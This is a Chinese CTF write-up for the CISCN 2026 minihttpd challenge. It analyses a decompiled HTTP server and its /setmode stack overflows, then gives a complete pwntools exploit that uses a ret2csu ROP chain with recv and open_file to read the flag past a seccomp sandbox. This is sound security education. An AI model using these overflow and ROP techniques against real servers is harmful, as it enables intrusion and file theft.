WEBPWN+CSU+ORW(OPENFILE)+RECV()

最近在打御网杯，前面打了 ISCC，结果又轮到我分享会了，其实最近打比赛感触蛮大的，你说想体验一把真的是有点…… CTF 不用 AI 吧，且不说不会写的，即使到最后 ak 了也只能吃个低保，用了 AI 吧，又有一种感觉牢无所获，没有丝毫体验感，赛后也是一直在赶 wp 根本没时间复现，其实 ai 打出来之后也不想去复现了，想偷懒看看 ai 的思路就当是过去了，久而久之感觉自己的能力在退化，很多知识不学忘得也很快，算了不再多说了，赶一下分享会的内容：

在这之前，已经学过三道 webpwn 的题目了，其中两道是基于 httpd 服务的，不管怎么说，这类题目在最近都是比较热门的，国赛和其他各类大赛都朝着真实环境去发展。之前一道是 NSSCTF 的 [GHCTF 2025]Fruit_Ninja , 一道是 PolarisCTF 的 httpd。相比之下 PolarisCTF 的 httpd 是这三个当中最难的，即使写过一遍，也很难再去复现。webpwn 的题目就难在陌生的框架以及 exp 中不熟悉的语法，由于 AI 的发展，当前的 PWN 题目已经越来越综合，感觉 emmm 也是走一步是一步吧，暂且保证基础题的分数。

https://idcm-svg.github.io/HFTTC.github.io/2026/05/23/WEB-PWN/%5BGHCTF2025%5DFruitNinja/

https://idcm-svg.github.io/HFTTC.github.io/2026/05/23/PolarisCTF_2026_WEBPWN/httpd/

复现 minihttpd 呢既是复习也是学习，温习半个月之前学习的 httpd 架构，学习这道题目新的利用手法。最重要的是 CISCN 总是连着两年出同类型的题目：

2023 和 2024 连着出了两年 GOPWN（GOPWN 到现在都没学会 T_T），2023 和 2024 也连着出了 Protobuf 脱壳二进制 PWN，记得还连着出了 C++PWN，2027 年会不会嘿嘿 ^_^…… 不过不管出什么题目，都希望自己能够写出来，那么要求就是在打好基础的前提下发散思维，多了解一下前沿的知识。

文章会对该国赛题目做一个详尽的解释，大部分不重要的函数也会讲解，毕竟写题不可模棱两可，不举一反三：

[CISCN 2026]minihttpd

看一下题目保护，这里相当于就是开启了 NX，记得 PolarisCTF 那个开了 Canary 可给我累坏了，继续看 IDA：

忘记 patch 了额，先 patch 一下：

程序分析：

main

MiniHttpd 程序的 Main 函数 是一个非常经典的多线程并发网络服务器的模型。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
    pthread_t newthread; // [rsp+0h] [rbp-40h] BYREF
    socklen_t addr_len; // [rsp+Ch] [rbp-34h] BYREF
    struct sockaddr addr; // [rsp+10h] [rbp-30h] BYREF
    unsigned __int16 v7; // [rsp+2Eh] [rbp-12h] BYREF
    void *arg; // [rsp+30h] [rbp-10h]
    int fd; // [rsp+3Ch] [rbp-4h]

    ::fd = -1;
    v7 = 9999;
    fd = -1;
    addr_len = 16;
    sub_402D88(a1, a2, a3);
    strncpy(dest, "Server: MiniHttpd/0.1.1\r\n", 0x20u); /* 将一个 HTTP 响应头 "Server: MiniHttpd/0.1.1\r\n" 拷贝到全局变量 dest 中，方便后续处理 HTTP 请求时直接拼接使用。*/
    ::fd = sub_401DD5(&v7);      // 往下看sub_401DD5,一个Socket初始化函数
    printf("httpd running on port %d\n", v7);
    sub_402D2D();
    while ( dword_406010 )
    {
        fd = accept(::fd, &addr, &addr_len);
        if ( fd == -1 )
        {
            if ( dword_406010 )
                sub_401FA5("accept");
            break;
        }
        arg = malloc(4u);
        if ( arg )
        {
            *(_DWORD *)arg = fd;
            if ( pthread_create(&newthread, 0, start_routine, arg) )
            {
                perror("pthread_create");
                free(arg);
                close(fd);
            }
        }
        else
        {
            perror("malloc");
            close(fd);
        }
    }
    if ( ::fd != -1 )
    {
        close(::fd);
        ::fd = -1;
    }
    return 0;
}
1
2
3
4
::fd = -1;              // 全局变量，用于存储服务端的监听 Socket FD（文件描述符）
v7 = 9999;              // 默认的监听端口，初始设定为 9999
fd = -1;                // 局部变量，用于存储每次接收到的客户端 Socket FD
addr_len = 16;          // sockaddr 结构体的大小

程序开始时，设置了全局和局部的网络文件描述符（FD）初始状态为 -1（无效值），并指定了默认端口 9999。

main 函数的主要部分都在 sub_402D2D(); 当中，

剩下的部分没什么，主要是多线程并发网络服务器的主循环。它的核心逻辑是：服务器持续监听端口，每当有一个新的客户端连接进来，就创建一个新子线程去专门处理该客户端的请求，而主线程则继续回去等待下一个连接。

sub_402D88()

1
2
3
4
5
6
7
8
9
10
11
12
__int64 sub_402D88()
{
    __int64 v1; // [rsp+8h] [rbp-8h]

    signal(2, handler);
    signal(15, handler);
    signal(13, (__sighandler_t)1);
    v1 = seccomp_init(2147418112);
    seccomp_rule_add(v1, 0, 59, 0);
    seccomp_rule_add(v1, 0, 322, 0);
    return seccomp_load(v1);
}
  • signal 函数用作信号处理
  • seccomp 表明开启了沙箱，算是比较常见的初始化函数，策略转向 ORW 打法

sub_4001DD5

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
__int64 __fastcall sub_401DD5(uint16_t *a1)
{
    int optval; // [rsp+18h] [rbp-28h] BYREF
    socklen_t len; // [rsp+1Ch] [rbp-24h] BYREF
    struct sockaddr s; // [rsp+20h] [rbp-20h] BYREF
    int fd; // [rsp+3Ch] [rbp-4h]

    len = 16;
    fd = socket(2, 1, 0);
    if ( fd == -1 )
        sub_401FA5("socket");
    optval = 1;
    if ( setsockopt(fd, 1, 2, &optval, 4u) < 0 )
        sub_401FA5("setsockopt(SO_REUSEADDR)");
    if ( setsockopt(fd, 1, 15, &optval, 4u) < 0 )
        sub_401FA5("setsockopt(SO_REUSEPORT)");
    memset(&s, 0, sizeof(s));
    s.sa_family = 2;
    *(_WORD *)s.sa_data = htons(*a1);
    *(_DWORD *)&s.sa_data[2] = htonl(0);
    if ( bind(fd, &s, 0x10u) < 0 )
        sub_401FA5("bind");
    if ( !*a1 )
    {
        if ( getsockname(fd, &s, &len) == -1 )
            sub_401FA5("getsockname");
        *a1 = ntohs(*(uint16_t *)s.sa_data);
    }
    if ( listen(fd, 5) < 0 )
        sub_401FA5("listen");
    return (unsigned int)fd;
}

Linux 服务端 Socket 初始化函数：

创建套接字 (Socket Creation)
1
2
3
4
5
6
7
8
9
10
11
len = 16;
fd = socket(2, 1, 0);
if ( fd == -1 )
    sub_401FA5("socket");
/*
void __fastcall __noreturn sub_401FA5(const char *a1)
{
  perror(a1);
  exit(1);
}
*/
  • socket(2, 1, 0)：这是系统调用 socket(AF_INET, SOCK_STREAM, 0) 的底层表示。
    • 2 代表 AF_INET，即使用 IPv4 网络协议。
    • 1 代表 SOCK_STREAM，即使用 TCP 面向连接的数据流。
    • 0 代表使用默认协议。
  • 成功时返回一个文件描述符 fd。如果失败返回 -1，则调用 sub_401FA5，这显然是一个错误处理封装函数（内部大概率调用了 perror 并 exit 退出了程序）。
设置套接字选项 (Socket Options)
1
2
3
4
5
6
7
8
9
10
11
12
optval = 1;
if ( setsockopt(fd, 1, 2, &optval, 4u) < 0 )
    sub_401FA5("setsockopt(SO_REUSEADDR)");
if ( setsockopt(fd, 1, 15, &optval, 4u) < 0 )
    sub_401FA5("setsockopt(SO_REUSEPORT)");
void __fastcall __noreturn sub_401FA5(const char *a1)
/*
{
  perror(a1);
  exit(1);
}
*/

为了让服务器更健壮，程序开启了两个重要的 TCP 选项：

  • setsockopt(fd, 1, 2, ...)：对应 SO_REUSEADDR。当服务端意外崩溃或重启时，其占用的端口往往会处于 TIME_WAIT 状态，短时间内无法再次绑定。开启此选项允许服务器立即重用该端口。
  • setsockopt(fd, 1, 15, ...)：对应 SO_REUSEPORT。允许多个套接字绑定到同一个 IP 和端口，通常用于多进程/多线程的网络负载均衡。
配置 IP 与端口并绑定 (Bind)
1
2
3
4
5
6
memset(&s, 0, sizeof(s));
s.sa_family = 2; // AF_INET
*(_WORD *)s.sa_data = htons(*a1);
*(_DWORD *)&s.sa_data[2] = htonl(0);
if ( bind(fd, &s, 0x10u) < 0 )
    sub_401FA5("bind");

这部分代码在 C 源码中原本应该是操作 struct sockaddr_in 结构体，被 IDA 反编译成了强转操作：

  • s.sa_family = 2：等同于 sin_family = AF_INET（IPv4）。
  • *(_WORD *)s.sa_data = htons(*a1)：等同于 sin_port = htons(port)。将传入的端口号（比如前面的 9999）转换为网络字节序（大端序）。
  • *(_DWORD *)&s.sa_data[2] = htonl(0)：等同于 sin_addr.s_addr = INADDR_ANY（即 0.0.0.0）。表示监听服务器上所有的网卡 IP 地址。
  • bind(...)：将上述配置的 IP 和端口与我们创建的 fd 绑定起来。0x10u 就是 16 字节，即 sockaddr_in 结构体的大小。
处理动态端口分配 (Dynamic Port Retrieval)
1
2
3
4
5
6
if ( !*a1 )
{
    if ( getsockname(fd, &s, &len) == -1 )
        sub_401FA5("getsockname");
    *a1 = ntohs(*(uint16_t *)s.sa_data);
}
  • 逻辑：如果传入的端口号 *a1 是 0，操作系统会随机分配一个可用的高位端口给这个程序。
  • getsockname(…)：如果是随机分配的，程序本身并不知道具体的端口是多少，因此需要调用此函数向操作系统“查询”刚刚分配的端口，并通过 ntohs 转换回主机字节序，写回到 *a1 中。

在第一段 main 函数代码中，明确传入了 v7 = 9999，所以通常情况下这个 if 分支在这里不会被触发。

开启监听
1
2
3
if ( listen(fd, 5) < 0 )
    sub_401FA5("listen");
return (unsigned int)fd;
  • listen(fd, 5)：正式将这个 Socket 标记为“被动监听”状态。第二个参数 5 是 backlog（全连接队列长度），表示在程序调用 accept 把连接取走之前，系统最多允许排队等待的 TCP 连接数是 5 个。
  • 最后，返回这个配置完毕的监听文件描述符 fd 给 main 函数，也就是赋值给了那个全局变量 ::fd。

sub_402D2D

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
__int64 sub_402D2D()
{
    sub_4027D2("/hello", "POST", sub_402933);
    sub_4027D2("/echo", "POST", sub_4029AC);
    sub_4027D2("/setmode", "POST", sub_402A40);
    return sub_4027D2("/getmode", "POST", sub_402C09);
}
/*
__int64 __fastcall sub_4027D2(__int64 a1, __int64 a2, __int64 a3)
{
  if ( dword_406340 > 31 )
    return 0xFFFFFFFFLL;
  *((_QWORD *)&unk_406040 + 3 * dword_406340) = a1;
  *((_QWORD *)&unk_406048 + 3 * dword_406340) = a2;
  qword_406050[3 * dword_406340++] = a3;
  return 0;
}
*/

sub_4027D2 相当于是生成了一个数组结构体，大概长这个样子：

1
2
3
4
5
struct Route {
    char *path;       // 偏移 0x0
    char *method;     // 偏移 0x8
    void *handler;    // 偏移 0x10
};

我们在进行不同的申请的时候，就会解析 path，不同 path 有不同的函数去解析：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
/*
ssize_t __fastcall sub_402933(int a1)
{
    char s[1036]; // [rsp+10h] [rbp-410h] BYREF
    int v3; // [rsp+41Ch] [rbp-4h]

    printf("[handle_hello]\n");
    v3 = snprintf(
        s,
        0x400u,
        "HTTP/1.0 200 OK\r\n%sContent-Type: application/json\r\n\r\n{\"message\": \"Hello, World!\"}\r\n",
        dest);
    return send(a1, s, v3, 0);
}

ssize_t __fastcall sub_4029AC(int a1, const char *a2)
{
    const char *v2; // rdx
    char s[2060]; // [rsp+10h] [rbp-810h] BYREF
    int v5; // [rsp+81Ch] [rbp-4h]

    printf("[handle_echo]\n");
    if ( a2 )
        v2 = a2;
    else
        v2 = (const char *)&unk_404293;
    v5 = snprintf(
        s,
        0x800u,
        "HTTP/1.0 200 OK\r\n%sContent-Type: application/json\r\n\r\n{\"echo\": \"%s\"}\r\n",
        dest,
        v2);
    return send(a1, s, v5, 0);
}
*/

ssize_t __fastcall sub_402A40(unsigned int a1, const char *a2, int a3)
{
    _BYTE ptr[22]; // [rsp+10h] [rbp-440h] BYREF
    char dest[10]; // [rsp+26h] [rbp-42Ah] BYREF
    char s[1028]; // [rsp+30h] [rbp-420h] BYREF
    int v8; // [rsp+434h] [rbp-1Ch]
    FILE *stream; // [rsp+438h] [rbp-18h]
    int v10; // [rsp+440h] [rbp-10h]
    int v11; // [rsp+444h] [rbp-Ch]
    char *v12; // [rsp+448h] [rbp-8h]

    memset(s, 0, 0x400u);
    printf("[handle_set_mode]\n");
    v12 = strchr(a2, 61);
    if ( v12 )
    {
        v11 = (_DWORD)v12 - (_DWORD)a2;
        v10 = a3 - ((_DWORD)v12 - (_DWORD)a2) - 1;
        memset(dest, 0, sizeof(dest));
        memset(ptr, 0, 0x10u);
        memcpy(dest, a2, v11);
        dest[9] = 0;
        memcpy(ptr, v12 + 1, v10);
        ptr[15] = 0;
        if ( !strcmp(dest, "setmode") )
        {
            stream = fopen("mode.txt", "w");
            if ( stream )
            {
                fwrite(ptr, 1u, v10, stream);
                fclose(stream);
            }
        }
        v8 = snprintf(s, 0x400u, "HTTP/1.0 200 OK\r\n%sContent-Type: application/json\r\n\r\n", ::dest);
        return send(a1, s, v8, 0);
    }
    else
    {
        printf("No delimiter found\n");
        return sub_40242C(a1);
    }
}

/*
int __fastcall sub_402C09(unsigned int a1, const char *a2)
{
    _BYTE s[1024]; // [rsp+10h] [rbp-410h] BYREF
    size_t n; // [rsp+410h] [rbp-10h]
    FILE *stream; // [rsp+418h] [rbp-8h]

    memset(s, 0, sizeof(s));
    printf("[handle_get_mode]\n");
    if ( strcmp(a2, "getmode") )
        return sub_40242C(a1);
    stream = fopen("mode.txt", "r");
    if ( !stream )
        return sub_402537(a1);
    sub_4024C0(a1);
    while ( 1 )
    {
        n = fread(s, 1u, 0x400u, stream);
        if ( !n )
            break;
        send(a1, s, n, 0);
    }
    fclose(stream);
    shutdown(a1, 1);
    return close(a1);
}
主要的漏洞点在 sub_402A40

这里截图直接展示了两个溢出点，可以去简单分析一下这两个溢出点的漏洞：核心在这几行代码

1
2
3
4
5
6
7
8
v11 = (_DWORD)v12 - (_DWORD)a2;
v10 = a3 - ((_DWORD)v12 - (_DWORD)a2) - 1;
memset(dest, 0, sizeof(dest));
memset(ptr, 0, 0x10u);
memcpy(dest, a2, v11);
dest[9] = 0;
memcpy(ptr, v12 + 1, v10);
ptr[15] = 0;

这里对 v11 和 v10 的值进行了定义：

  • v11 就是从字符串开始到 ‘=’ 的长度,但是 dest 的大小只有十个字节，假如构造一个 b’a’*20 + b’=’类型的 payload，就可以轻松地导致 memcpy 在粘贴的过程中导致栈溢出
  • v10 = 总长度 - 字符串开始到 ‘=’ 的长度 - 1 ，-1 其实就是去除等于号本身的长度 ，例如我构造一个正常的 payload：setmode=hahaha，那么 v10 就是 ‘hahaha’ 的长度 6，也就是说 v10 的值实质是由等于号后面的字符串长度控制的，那么只要我们加长等于号后的字符串长度也是可以轻松利用 memcpy 进行栈溢出的。

EXP 思路：

开始本地调试，然后本地远程连接本地 127.0.0.1:9999

1
2
3
server = process("./main_patched")
sleep(0.2)
io = remote("127.0.0.1", 9999)

尝试本地连接服务

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
for attempt in range(1, 21):
    log.info(f"attempt {attempt}")
    server = process("./main_patched")
    server.recvuntil(b"httpd running on port 9999\n")

    io = None
    for _ in range(20):
        try:
            io = remote("127.0.0.1", 9999, timeout=1)   # printf("httpd running on port %d\n", v7);
            break
        except Exception:
            sleep(0.05)

    if io is None:
        server.close()
        continue

本地服务常有时序抖动（我也不太清楚，反正大概意思是就是不稳定不一定可以连接上吧，事实也确实是这个样子）：

构造 POST /setmode 请求

1
2
3
4
5
6
7
8
body = b"setmode=" + payload
req = (
    b"POST /setmode HTTP/1.0\r\n"
    + b"Content-Length: "
    + str(len(body)).encode()
    + b"\r\n\r\n"
    + body
)

其实就是构造一个 WEBPOST 传参请求包，和我们抓包的内容是一样的，大概构造出如下的 POST 请求包：

1
2
3
4
POST /setmode HTTP/1.0
Content-Length: <body长度>

<body内容>

接下来就该去思考如何在 body 中利用前面所说的两个栈溢出漏洞，当然不能忘记 Seccomp 的存在，只能打 ORW 的。

构造 body/payload

我们选择在 body 部分构造栈溢出，但是当前并不确定缓冲区的长度，cyclic 测一下：

1
2
3
4
5
6
7
8
9
10
11
body = b"setmode=" + aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaezaafbaafcaafdaafeaaffaafgaafhaafiaafjaafkaaflaafmaafnaafoaafpaafqaafraafsaaftaafuaafvaafwaafxaafyaafzaagbaagcaagdaageaagfaaggaaghaagiaagjaagkaaglaagmaagnaagoaagpaagqaagraagsaagtaaguaagvaagwaagxaagyaagzaahbaahcaahdaaheaahfaahgaahhaahiaahjaahkaahlaahmaahnaahoaahpaahqaahraahsaahtaahuaahvaahwaahxaahyaahzaaibaaicaaidaaieaaifaaigaaihaaiiaaijaaikaailaaimaainaaioaaipaaiqaairaaisaaitaaiuaaivaaiwaaixaaiyaaizaajbaajcaajdaajeaajfaajgaajhaajiaajjaajkaajlaajmaajnaajoaajpaajqaajraajsaajtaajuaajvaajwaajxaajyaajzaakbaakcaakdaakeaakfaakgaakhaakiaakjaakkaaklaakmaaknaakoaakpaakqaakraaksaaktaakuaakvaakwaakxaakyaakzaalbaalcaaldaaleaalfaalgaalhaaliaaljaalkaallaalmaalnaaloaalpaalqaalraalsaaltaaluaalvaalwaalxaalyaalzaambaamcaamdaameaamfaamgaamhaamiaamjaamkaamlaammaamnaamoaampaamqaamraamsaamtaamuaamvaamwaamxaamyaamzaanbaancaandaaneaanfaangaanhaaniaanjaankaanlaanmaannaanoaanpaanqaanraansaantaanuaanvaanwaanxaanyaanzaaobaaocaaodaaoeaaofaaogaaohaaoiaaojaaokaaolaaomaaonaaooaaopaaoqaaoraaosaaotaaouaaovaaowaaoxaaoyaaozaapbaapcaapdaapeaapfaapgaaphaapiaapjaapkaaplaapmaapnaapoaappaapqaapraapsaaptaapuaapvaapwaapxaapyaapzaaqbaaqcaaqdaaqeaaqfaaqgaaqhaaqiaaqjaaqkaaqlaaqmaaqnaaqoaaqpaaqqaaqraaqsaaqtaaquaaqvaaqwaaqxaaqyaaqzaarbaarcaardaareaarfaargaarhaariaarjaarkaarlaarmaarnaaroaarpaarqaarraarsaartaaruaarvaarwaarxaaryaarzaasbaascaasdaaseaasfaasgaashaasiaasjaaskaaslaasmaasnaasoaaspaasqaasraassaastaasuaasvaaswaasxaasyaaszaatbaatcaatdaateaatfaatgaathaatiaatjaatkaatlaatmaatnaatoaatpaatqaatraatsaattaatuaatvaatwaatxaatyaat
req = (
    b"POST /setmode HTTP/1.0\r\n"
    + b"Content-Length: "
    + str(len(body)).encode()
    + b"\r\n\r\n"
    + body
)

gdb.attach(server)
pause()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
offset = 1088
bss = 0x3FCC00
pop_rdi = 0x402FF3
pop_rsi_r15 = 0x402FF1
csu_pop = 0x402FE6
csu_call = 0x402FD0
open_file = 0x402663

payload = flat(
    b"A" * offset,
    p64(bss),
    p64(csu_pop),
    p64(0),                               # 0
    p64(0),                               # rbx = 0
    p64(1),                               # rbp = 1
    p64(4),                               # r12 = 4
    p64(bss),                             # r13 = bss
    p64(0x20),                            # r14 = 0x20
    p64(elf.got["recv"]),                 # r15 = recv@got
    p64(csu_call),                        # r14 -> rdx; r13 -> rsi; r12d -> edi
    p64(0), p64(0), p64(0), p64(0), p64(0), p64(0), p64(0),   # clean
    p64(pop_rdi),                         # recv(4, bss, 0x20, 0)
    p64(4),                               # recv(rdi,rsi,rdx,rcx)
    p64(pop_rsi_r15),
    p64(bss),
    p64(0),
    p64(open_file),
    p64(0),
)

#  1. 用栈溢出覆盖返回地址
#  2. 先调用一次 recv(4, bss, 0x20, 0)，把 ./flag\x00 读到内存
#  3. 再调用 open_file(4, bss)，让程序自己把 flag 发回 socket

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
.text:0000000000402FD0
.text:0000000000402FD0 loc_402FD0:                             ; CODE XREF: init+54↓j
.text:0000000000402FD0                 mov     rdx, r14
.text:0000000000402FD3                 mov     rsi, r13
.text:0000000000402FD6                 mov     edi, r12d
.text:0000000000402FD9                 call    ds:(funcs_402FD9 - 405C50h)[r15+rbx*8]
.text:0000000000402FDD                 add     rbx, 1
.text:0000000000402FE1                 cmp     rbp, rbx
.text:0000000000402FE4                 jnz     short loc_402FD0
.text:0000000000402FE6
.text:0000000000402FE6 loc_402FE6:                             ; CODE XREF: init+35↑j
.text:0000000000402FE6                 add     rsp, 8
.text:0000000000402FEA                 pop     rbx
.text:0000000000402FEB                 pop     rbp
.text:0000000000402FEC                 pop     r12
.text:0000000000402FEE                 pop     r13
.text:0000000000402FF0                 pop     r14
.text:0000000000402FF2                 pop     r15
.text:0000000000402FF4                 retn
.text:0000000000402FF4 ; } // starts at 402F90
.text:0000000000402FF4 init            endp
.text:0000000000402FF4

这里主要就是利用 CSU 构造 payload 的过程了：

  • 先利用 csu 构造 recv(4, bss, 0x20, 0)，在函数调用结束后就会执行 recv 0x20 个字节的内容到 bss 段，此时可以利用 exp 向程序发送信息。在后面继续调用open_file(4, bss)，也就是将刚才传入的字符串当做文件名解析名并读取文件内容。假设我们传入 b’flag\x00’ 就可以打开远程的 flag 文件夹读取内容。

发送 payload

1
2
3
4
5
io.send(req)
io.send(b"./flag\x00")
io.recvuntil(b'flag')
flag = io.recvline().decode()
log.success(f'flag is ==> flag{flag}')

总 EXP：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
from pwn import * 

elf = ELF("./main_patched")
context.binary = elf
context.log_level = "debug"

offset = 1088
bss = 0x3FCC00
pop_rdi = 0x402FF3
pop_rsi_r15 = 0x402FF1
csu_pop = 0x402FE6
csu_call = 0x402FD0
open_file = 0x402663

payload = flat(
    b"A" * offset,
    p64(bss),
    p64(csu_pop),
    p64(0),
    p64(0),
    p64(1),
    p64(4),
    p64(bss),
    p64(0x20),
    p64(elf.got["recv"]),
    p64(csu_call),
    p64(0), p64(0), p64(0), p64(0), p64(0), p64(0), p64(0),
    p64(pop_rdi),
    p64(4),
    p64(pop_rsi_r15),
    p64(bss),
    p64(0),
    p64(open_file),
    p64(0),
)

body = b"setmode=" + payload
req = (
    b"POST /setmode HTTP/1.0\r\n"
    + b"Content-Length: "
    + str(len(body)).encode()
    + b"\r\n\r\n"
    + body
)

for attempt in range(1, 21):
    log.info(f"attempt {attempt}")
    server = process("./main_patched")
    server.recvuntil(b"httpd running on port 9999\n")

    io = None
    for _ in range(20):
        try:
            io = remote("127.0.0.1", 9999, timeout=1)   # printf("httpd running on port %d\n", v7);
            break
        except Exception:
            sleep(0.05)

    if io is None:
        server.close()
        continue
    # gdb.attach(server)
    # pause()

    io.send(req)
    io.send(b"./flag\x00")
    io.recvuntil(b'flag')
    flag = io.recvline().decode()
    log.success(f'flag is ==> flag{flag}')


总结：

整个题目的流程大概就是这个样子，毕竟是跟着复现，再加上之前写过类似的题目，整体是比较流畅的。不过这不代表着自己可以在面对陌生的题目可以独立完整的搓出来 exp，该题目当中 csu 的手法我其实是没有想到的，单独调用 recv 函数再利用 openfile 去读取这种 ORW 的打法也是比较新奇，之间只见过一次 openfile 的利用手法。WEBPWN 的题目还是练习得比较少，需要多去练习，这类题目只会越来越难。

说些什么吧！

utterances